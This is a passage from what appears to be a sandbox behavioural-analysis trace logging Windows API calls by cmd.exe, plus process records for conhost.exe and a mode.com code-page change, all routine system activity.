GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff67d04bb78, cchData=8 | out: lpLCData=":") returned 2 [0303.581] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x5ef9bdf8f0, cchData=128 | out: lpLCData="0") returned 2 [0303.581] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x5ef9bdf8f0, cchData=128 | out: lpLCData="0") returned 2 [0303.581] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x5ef9bdf8f0, cchData=128 | out: lpLCData="1") returned 2 [0303.581] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff67d04bb68, cchData=8 | out: lpLCData="/") returned 2 [0303.581] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff67d04bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0303.581] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff67d04bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0303.581] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff67d04ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0303.581] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff67d04ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0303.581] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff67d04ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0303.581] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff67d04b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0303.581] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff67d04b980, cchData=32 | out: lpLCData="Sun") returned 4 [0303.581] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff67d04bb58, cchData=8 | out: lpLCData=".") returned 2 [0303.581] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff67d04bb40, cchData=8 | out: lpLCData=",") returned 2 [0303.582] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0303.583] GetProcessHeap () returned 0x1c4e5130000 [0303.583] RtlAllocateHeap (HeapHandle=0x1c4e5130000, Flags=0x0, Size=0x20c) returned 0x1c4e51370f0 [0303.583] GetConsoleTitleW (in: lpConsoleTitle=0x1c4e51370f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0304.559] _get_osfhandle (_FileHandle=1) returned 0x49c [0304.559] GetFileType (hFile=0x49c) returned 0x3 [0304.559] ApiSetQueryApiSetPresence () returned 0x0 [0304.559] ResolveDelayLoadedAPI () returned 0x7ffebb73d990 [0304.562] BrandingFormatString () returned 0x1c4e51362f0 [0304.570] GetVersion () returned 0x3ad7000a [0304.570] _vsnwprintf (in: _Buffer=0x5ef9bdfa50, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x5ef9bdf9e8 | out: _Buffer="10.0.15063") returned 10 [0304.571] _get_osfhandle (_FileHandle=1) returned 0x49c [0304.571] GetFileType (hFile=0x49c) returned 0x3 [0304.571] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff67d057f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0304.571] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff67d057f60, nSize=0x2000, Arguments=0x5ef9bdf9f0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0304.571] _get_osfhandle (_FileHandle=1) returned 0x49c [0304.571] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0304.571] WriteFile (in: hFile=0x49c, lpBuffer=0x7ff67d049970, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x5ef9bdf948, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x5ef9bdf948, lpOverlapped=0x0) returned 0 [0304.571] GetLastError () returned 0xe8 [0304.571] _vsnwprintf (in: _Buffer=0x7ff67d057f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x5ef9bdfa18 | out: _Buffer="\r\n") returned 2 [0304.571] _get_osfhandle (_FileHandle=1) returned 0x49c [0304.571] GetFileType (hFile=0x49c) returned 0x3 [0304.572] _get_osfhandle (_FileHandle=1) returned 0x49c [0304.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0304.572] WriteFile (in: hFile=0x49c, lpBuffer=0x7ff67d049970, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x5ef9bdf9e8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x5ef9bdf9e8, lpOverlapped=0x0) returned 0 [0304.572] GetLastError () returned 0xe8 [0304.572] _get_osfhandle (_FileHandle=1) returned 0x49c [0304.572] GetFileType (hFile=0x49c) returned 0x3 [0304.572] _get_osfhandle (_FileHandle=1) returned 0x49c [0304.572] GetFileType (hFile=0x49c) returned 0x3 [0304.572] _get_osfhandle (_FileHandle=2) returned 0x49c [0304.572] GetFileType (hFile=0x49c) returned 0x3 [0304.572] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2364, dwLanguageId=0x0, lpBuffer=0x7ff67d057f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The process tried to write to a nonexistent pipe.\r\n") returned 0x33 [0304.572] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2364, dwLanguageId=0x0, lpBuffer=0x7ff67d057f60, nSize=0x2000, Arguments=0x5ef9bdf980 | out: lpBuffer="The process tried to write to a nonexistent pipe.\r\n") returned 0x33 [0304.572] _get_osfhandle (_FileHandle=2) returned 0x49c [0304.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="The process tried to write to a nonexistent pipe.\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="The process tried to write to a nonexistent pipe.\r\n", lpUsedDefaultChar=0x0) returned 52 [0304.572] WriteFile (in: hFile=0x49c, lpBuffer=0x7ff67d049970, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x5ef9bdf8d8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x5ef9bdf8d8, lpOverlapped=0x0) returned 0 [0304.572] GetLastError () returned 0xe8 [0304.572] exit (_Code=1) Thread: id = 118 os_tid = 0xfe4 Process: id = "18" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x1d729000" os_pid = "0xfcc" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0xfc4" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001ac9c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 113 os_tid = 0xfd0 Thread: id = 114 os_tid = 0xfd4 Thread: id = 115 os_tid = 0xfd8 Thread: id = 116 os_tid = 0xfdc Thread: id = 117 os_tid = 0xfe0 Process: id = "19" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x37b02000" os_pid = "0xfec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xf64" cmd_line = "mode con cp select=1251" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001ac9c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 119 os_tid = 0xff0 Thread: id = 120 os_tid = 0xffc